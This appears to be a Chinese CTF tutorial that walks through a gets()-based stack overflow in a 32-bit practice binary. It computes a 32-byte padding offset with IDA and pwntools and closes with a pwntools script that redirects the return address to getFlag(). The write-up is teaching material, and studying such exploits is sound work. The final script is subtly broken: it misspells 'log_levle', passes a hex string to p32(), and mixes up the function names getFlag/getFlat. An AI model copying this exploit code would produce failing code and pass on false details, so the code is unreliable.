PWN简单堆栈溢出漏洞利用(二)
题目来源
下载链接(密码akcz)
题目需要读取flag文件才能正确显示出flag,也就是下文中显示的 This is flag
创建办法:
在/home/pwn/pwn1目录下创建一个名为flag文件,打开并写入This is flag
1. 运行程序、查看文件类型、保护措施
程序让我们输入一段字符串,并返回我们所输入的内容。
看到是一个 32位 动态链接的ELF文件
2.反汇编分析
将程序拉到IDA分析,发现有getFlag()
、foo()
函数;
打开main()
,按F5
显示对应伪C代码
看见调用了foo()
,那也就顺势看看foo()
里面有什么;
这里与前一篇文章中不同的是foo()
中没有传递参数
函数体中主要操作是:让我们输入一个字符串,打印输入的字符串,然后返回。没有与篇一中一样,用判断语句后调用getflat()
函数,但仍然使用的是gets()
输入函数,也就是说仍然可以通过gets()
输入过长字符串造成栈溢出。
我们知道main()
调用foo()
函数时,首先将参数变量压栈,然后将返回地址压栈,接着mov ebp,esp
将旧栈顶作为栈底。也就是说我们可以通过栈溢出,覆盖返回地址,从而达到跳转调用getflag()
的目的。
3. 调试分析payload
按照上面分析,需要在输入字符串时准确覆盖变量a1的值,那么问题就转换为:payload长度是多少?payload内容是什么?
-
payload长度是多少?
首先确定变量s写入地址到栈底距离。IDA中打开foo()查看变量s定义处,IDA分析变量s距离栈底是1c。
最后确定payload长度为:0x1c+0x4(ebp)=0x20=32
-
payload内容是什么?
已经确定了payload长度为32,其中前28个为无实际意义填充,最后4个应该为
getFlat
的起始地址。获取
getFlat
起始地址有两种方法:-
将程序丢进ida后,在function window中查看
-
使用pwntools中的ELF对象的symbols方法
In [1]: from pwn import * In [2]: elf = ELF('./pwn1')#加载程序;创建ELF对象 [*] '/home/skye/pwn/pwn1/pwn1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) In [3]: elf.symbols['getFlag']#查询getFlag函数地址 ...: (十进制) Out[3]: 134514011 In [4]: hex(134514011)#转换为16机制 Out[4]: '0x804855b'
最终确定payload内容为:A*28+0x804855b
-
3. 编写payload利用脚本
from pwn import *
#start debug 可选不影响结果 打开可以看见输入输出多少字节等详细信息
context.log_levle = 'debug'
pwn = process('./pwn1')
elf = ELF('./pwn1')
getFlagAddr = hex(elf.symbols['getFlag'])
print pwn.recvline()
payload = 'A'*28
payload += p32(getFlagAddr)
pwn.sendline(payload)
print pwn.recvline()
print pwn.recvline()
4. 总结
-
可以溢出修改函数的返回地址,达到跳转任意地址的目的
-
两种方法获得函数开始地址:ida function window、pwntools-ELF-symbols